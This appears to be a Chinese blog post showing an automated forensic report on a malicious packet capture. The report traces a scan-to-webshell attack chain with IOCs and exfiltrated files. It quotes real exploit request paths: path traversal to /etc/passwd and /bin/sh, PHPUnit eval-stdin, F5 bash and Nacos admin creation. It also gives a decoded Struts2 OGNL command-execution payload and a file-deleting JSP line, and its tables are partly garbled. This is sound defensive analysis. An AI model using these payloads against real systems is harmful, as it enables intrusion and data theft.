1、https://github.com/dhicoc/dsh-reverse-skill
2、首先,来常规地看下一个恶意pcap包的解析:

3、现在,我们用DSH来分析这个恶意流量包:

shell.pcap 危险动作取证分析报告
1. 保全与基本信息
shell.pcap | |
C71B76BE434E5C6995CA942DC8F531ADC14E7B255B0646E365899F881CA3D5E7 | |
192.168.31.168:8081 | |
192.168.31.190 | |
192.168.31.13 | |
192.168.31.168 → 10.10.10.10 | |
注意:原始 PCAP 保持只读,仅导出 HTTP 对象副本至
http_export/供进一步检视。
2. 网络流量宏观统计
2.1 协议分布
2.2 HTTP 统计(总 1,320 个 HTTP 包)
2.3 HTTP 响应分布
| 524 | ||
| 成功利用/数据外泄 | ||
| 成功创建资源 | ||
关键结论:42 个 2xx 成功响应、且大量 Web 中间件指纹均表明目标正在遭受自动化渗透测试/红队攻击。
3. 危险动作详细清单(按攻击链排序)
以下列表按出现时间(PCAP 开始后相对秒序)排列,风险等级:Critical / High / Medium / Info。
阶段 1:侦察与指纹识别(High/Info)
//admin/, /services, /jars | |||||
/nacos//kylin/api/admin/config, /druid/, /actuator/ | |||||
/jbossmq-httpil/HTTPServerILServlet/certsrv/certrqad.asp | |||||
239.255.255.250:1900 | |||||
/sql.zip/manager/radius/ | |||||
/plug/oem/AspCms_OEMFun.asp | |||||
/?unix: | Log4Shell/表达式注入http://baidu.com/api/v1/targets) | ||||
catalog-portal/ui/oauth/verify?error=&deviceUdid=... | Freemarker 模板注入 | ||||
/?q=user/password&name[#post_render][]=printf... | Drupal RCE | ||||
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | PHPUnit RCE | ||||
/debug/pyspidervulntest/run | PySpider 调试接口 RCE | ||||
/actuator/gateway/routes/injrwoke | Spring Cloud Gateway RCE | ||||
/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd | Apache HTTPD 目录穿越 | ||||
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh | CGI-Bin RCE | ||||
/wls-wsat/CoordinatorPortType | WebLogic WS-AT 反序列化 | ||||
/%24%7B...%7D/ | Confluence/S2-045 OGNL RCEid) |
阶段 2:Webshell 上传与部署(Critical)
/ | Critical | Struts2 S2-032 OGNL RCEcat /etc/passwd,成功读取 /etc/passwd | |||
/services%20/WorkflowServiceXml | Critical | WebLogic XML 反序列化 RCEout.print("1978073339"); new java.io.File(application.getRealPath(request.getServerPath())).delete();%><br>即:执行命令 + 删除服务器端文件 (痕迹清理/破坏) | |||
/mgmt/tm/util/bash | Critical | F5 BIG-IP TMUI RCE | |||
/mgmt/tm/util/bash | Critical | F5 BIG-IP TMUI RCE | |||
/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0 | Critical | Apache HTTPD CGI 路径穿越 RCE | |||
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | Critical | PHPUnit eval-stdin RCE | |||
/debug/pyspidervulntest/run | Critical | PySpider 调试接口 RCE | |||
/hello.jsp/ | Critical | 上传 JSP Webshellhello.jsp。导出文件:hello(1).jsp (加密/混淆 payload) | |||
/fileserver/elltvj.txt | |||||
/tbppwt.jsp/ | |||||
/xikdbr.txt |
阶段 3:权限维持与后门(Critical/High)
/extdirect | Critical | ExtDirect JSON RCE | |||
/nacos/v1/auth/users?username=ijk...&password=... | Critical | Nacos 未授权创建管理员账号users%3fusername=ijkvfnifhckmbehb... | |||
/_users/org.couchdb.user:mabxixlwbjnlyfhbo... | Critical | CouchDB 未授权用户提升 | |||
/_ignition/execute-solution | Critical | Laravel Ignition RCE |
阶段 4:文件上传与数据外泄(Critical)
/fileDownload?action=downloadBackupFile | Critical | 主动拉取服务器备份文件 | |||
/services%20/WorkflowServiceXml | Critical | delete() 清理指令。但随后继续发送 WebLogic T3/XML 反序列化 + 文件下载 | |||
/wls-wsat/CoordinatorPortType | Critical | WebLogic WS-AT CVE-2019-2725 | |||
/webtools/control/xmlrpc | Critical | Apache OFBiz XML-RPC 反序列化 | |||
/plus/weixin.php?signature=... | 微信插件/XXE | ||||
/cu.html/menu/stapp, /pcidss/report?...username=nsroot | Citrix/PCI-DSS 漏洞利用 | ||||
/mgt/tm/util/bash | |||||
/_snapshot/mcak | |||||
/api/v1/canal/config/1/1 | |||||
/directdata/direct/router | |||||
/webadm/?q=moni_detail.do... | |||||
/api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9 | |||||
/me browser/WorkflowCenterTreeData.jsp |
阶段 5:数据外泄成功(Critical)
通过 http_export/ 恢复的敏感下载文件(均返回 HTTP 200):
WorkflowServiceXml | ||
root.tar.gz | 服务器根目录打包 | |
wwwroot.tar.gz.zip / .rar / .7z / .gz / .db | Web 根目录多种格式压缩包 | |
backup.tar.gzback.tar.gz / beifen.tar.gz / admin.tar.gz | ||
package.tar.gz.zip / .db / .gz | ||
database.sql.zip / .rar / .7z / .db / .bak / .tar.gz | 完整数据库备份 | |
192.168.31.168.rar.sql / .zip / .bak / .7z / .gz / .db | 以目标 IP 直接命名的备份文件 | |
mysql.sqllocalhost.sql / db_backup.sql / translate.sql | SQL 转储 | |
hostsnodes, GetDevice, getuser, nodes | 内网/设备信息枚举 | |
passwd(7)passwd(8), passwd(6), passwd(11) | 系统凭据文件 /etc/passwd 下载 | |
whoami | ||
bash(1)bash(2), bash(3) | 远程 bash 命令执行结果 | |
L2V0Yy9wYXNzd2Q= | /etc/passwd | |
L1dpbmRvd3Mvd2luLmluaQ= | /Windows/win.exe | |
cert_download.phpcertrqad.asp | CA 证书请求/下载 | |
sslvpn_websession | SSL VPN Web 会话劫持/窃取 | |
autodiscover(1).xmlAutodiscover.xml | Exchange AutoDiscover | |
ReportServer%3fop=chart&cmd=get_geo_json... | SSRS/SQL Server Reporting Services 配置读取 | |
config_db.phpdatasourceCtp.properties, vcdb.properties | 数据库连接字符串/密码 | |
swagger-ui.htmlswagger.json, swagger.yaml, swagger(1).json | Swagger/OpenAPI 文档 | |
service/extdirectextdirect(1) | Sencha ExtDirect API 接口 + 可能的命令执行结果 | |
index.php%3fs=captchalogin(1-6).php, login.cgi | 各类登录页面 / 验证码绕过接口 | |
hello.jsp | 加密 JSP Webshell | |
xjssxikdbr.txt / elltvj.txt | 小型文本型 WebShell |
阶段 6:横向移动与内网侦察(High/Medium)
192.168.31.168 → 10.10.10.10 | ICMP ping 内网横向探测 | |||
/services%20/WorkflowServiceXml | ||||
/extdirect | ||||
/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd | ||||
/getcfg.php/cgi-bin/mainfunction.cgi | ||||
/?q=node&destination=node/?q=moni_detail.do... |
4. 关键 Payload 取证解码
4.1 Struts2 OGNL RCE (帧 131619)
接收端:/api/v1/user/login编码:multipart/form-data解码后核心 OGNL 表达式:
ognl
复制
${request.map=@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +($request.map.setBean($request.get('struts.valueStack')) == true).toString().substring(0,0) +...application.get('org.apache.tomcat.Instantiator').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'})}- 结果
:读取 /etc/passwd成功(导出 7 份passwd文件)。
4.2 WebLogic Java 反序列化 (帧 132106/132188)
接收端:/services%20/WorkflowServiceXml协议:SOAP/XML解码后核心机制:
使用 org.apache.commons.beanutils.BeanComparator使用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplClass bytecode 属于 ysoserial 风格序列化 payload 包含 Ljava/lang/Runtime;、getRuntime()、exec、ProcessBuilder
附加副作用(解码后明文可见):
java
复制
out.print("1978073339");new java.io.File(application.getRealPath(request.getServerPath())).delete();- 结果
:执行恶意代码 + 删除服务器端文件。
4.3 加密 Webshell hello.jsp
tshark 导出文件:hello(1).jsp ~ hello(7).jsp格式:{"SjIHRC7oSVIE":"<Base64密文>"}
- 结果
:已上传 JSP Webshell,后续在 88.4s、139.3s、143.8s、259.7s 四次调用 ( POST /hello.jsp),持续与 C2 交互。
4.4 WEB-INF / 配置泄露
导出文件包含:
web.xml, web(1-3).xml,web-inf→ Web 应用部署描述符datasourceCtp.properties, config_db.php,vcdb.properties→ 数据库口令 明码或加密形式泄露
5. IOC 汇总
192.168.31.190 | ||
192.168.31.168 | 8081,内含多种中间件 | |
10.10.10.10 | ||
ijkvfnifhckmbehb / fejtsukckubxmjxn | ||
mabxixlwbjnlyfhboairzzezytxnsnig | ||
/hello.jsp/fileserver/elltvj.txt, /tbppwt.jsp, /xikdbr.txt | ||
1978073339 | ||
192.168.31.168.rar/sql/zip/bak | ||
/etc/passwd/etc/shadow (base64 L2V0Yy9wYXNzd2Q=) | ||
swagger.jsonswagger.yaml, swagger-ui.html |
6. 恶意软件/工具特征
cat /etc/passwd | ||
CoordinatorPortType | ||
actuator/gateway/routes/injrwoke | ||
xmlrpc | ||
/mgmt/tm/util/bash | ||
/vendor/phpunit/.../eval-stdin.php | ||
/_ignition/execute-solution | ||
#post_render_format=hal_json | ||
/.%0d./.%0d.../bin/sh | ||
/debug/pyspidervulntest/run | ||
/minio/webrpc | ||
POST /nacos/v1/auth/users |
7. 攻击链结论
复制
[侦察] → [自动化漏洞扫描] → [批量 RCE 利用] → [Webshell 部署] → [数据外泄/权限维持] → [内网扫描/痕迹清理] 0-20s 20-31s 20-31s 31s 20-259s 贯穿全程- 0-20s
:攻击者在 20 秒内针对同一目标端口 8081连续发送了 30+ 种不同类型已知漏洞的利用请求(自动扫描器或人工脚本)。 - 20s
:多种 RCE 链路同时命中(Struts2, WebLogic, F5, PHPUnit, Apache HTTPD, Laravel, OFBiz, Drupal, Nacos, CouchDB)。部分返回 200,说明攻击已成功。 - 31s
: attacker 上传加密 JSP webshell ( hello.jsp)。 - 31-259s
:四次调用 hello.jsp,持续保持 C2 会话或执行维护指令。 - 全程
:通过 fileDownload、extdirect、WorkflowServiceXml、services等合法/半合法接口主动拉取备份、数据库、内部配置文件、系统文件。
8. 关键证据索引
保全 节 | ||
/etc/passwd 数据泄露 | ||
shell_pcap_analysis_report.md |
报告生成时间:自动分析分析工具:Wireshark/tshark 3.x + Python-style hash + export-objects哈希校验:SHA256 C71B76BE434E5C6995CA942DC8F531ADC14E7B255B0646E365899F881CA3D5E7
夜雨聆风